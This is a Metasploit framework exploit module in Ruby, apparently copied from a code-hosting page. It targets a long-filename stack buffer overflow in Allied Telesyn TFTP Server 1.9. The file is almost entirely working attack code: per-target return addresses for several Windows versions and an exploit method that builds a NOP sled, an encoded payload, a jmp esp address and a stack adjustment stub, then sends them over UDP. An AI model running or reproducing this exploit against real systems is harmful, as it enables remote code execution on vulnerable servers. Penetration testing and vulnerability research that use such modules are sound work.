Path: blob/master/modules/exploits/windows/tftp/attftp_long_filename.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a17request (get/write) for an overly long file name.18},19'Author' => [ 'aushack' ],20'References' => [21['CVE', '2006-6184'],22['OSVDB', '11350'],23['BID', '21320'],24['EDB', '2887']25],26'DefaultOptions' => {27'EXITFUNC' => 'process',28},29'Payload' => {30'Space' => 210,31'BadChars' => "\x00",32'StackAdjustment' => -3500,33},34'Platform' => 'win',35'Targets' => [36# Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/2437[ 'Windows NT SP4 English', { 'Ret' => 0x702ea6f7 } ],38[ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ],39[ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ],40[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ],41[ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ],42[ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],43[ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ],44[ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 } ],45[ 'Windows XP SP3 English', { 'Ret' => 0x7e429353 } ], # ret by c0re46[ 'Windows Server 2003', { 'Ret' => 0x7c86fed3 } ], # ret donated by securityxxxpert47[ 'Windows Server 2003 SP2', { 'Ret' => 0x7c86a01b } ], # ret donated by Polar Bear48],49'Privileged' => false,50'DisclosureDate' => '2006-11-27',51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56)57)5859register_options(60[61Opt::RPORT(69),62Opt::LHOST() # Required for stack offset63]64)65end6667def exploit68connect_udp6970sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)71sploit << payload.encoded72sploit << [target['Ret']].pack('V') # <-- eip = jmp esp. we control it.73sploit << "\x83\xc4\x28\xc3" # <-- esp = add esp 0x28 + retn74sploit << "\x00" + "netascii" + "\x00"7576udp_sock.put(sploit)7778disconnect_udp79end80end818283